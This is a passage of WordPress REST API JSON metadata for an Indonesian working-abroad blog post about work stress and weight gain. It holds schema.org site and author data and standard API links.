"name":"Stres Kerja Bikin Berat Badan Naik? Ini Faktanya!"}]},{"@type":"WebSite","@id":"https:\/\/www.workabroad.id\/blog\/#website","url":"https:\/\/www.workabroad.id\/blog\/","name":"Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia","description":"Dapatkan informasi dan update terbaru komunitas dan kerja di luar negeri terlengkap di seluruh dunia disini!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.workabroad.id\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.workabroad.id\/blog\/#\/schema\/person\/a88bc249bd2aece00af82b159c54ed15","name":"WorkAbroad","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.workabroad.id\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/99a04b565c5de7f095718e726e4f2cd677859377820aa9dfdbada8b55c32ec5f?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/99a04b565c5de7f095718e726e4f2cd677859377820aa9dfdbada8b55c32ec5f?s=96&d=mm&r=g","caption":"WorkAbroad"},"description":"Pusat Info Kerja di Luar Negeri Terlengkap di Indonesia","sameAs":["https:\/\/www.workabroad.id\/blog"],"url":"https:\/\/www.workabroad.id\/blog\/author\/blogadmin"}]}},"_links":{"self":[{"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/posts\/1021","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/comments?post=1021"}],"version-history":[{"count":2,"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/posts\/1021\/revisions"}],"predecessor-version":[{"id":1210,"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/posts\/1021\/revisions\/1210"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/posts\/1021"}],"wp:attachment":[{"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/media?parent=1021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/categories?post=1021"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.workabroad.id\/blog\/wp-json\/wp\/v2\/tags?post=1021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}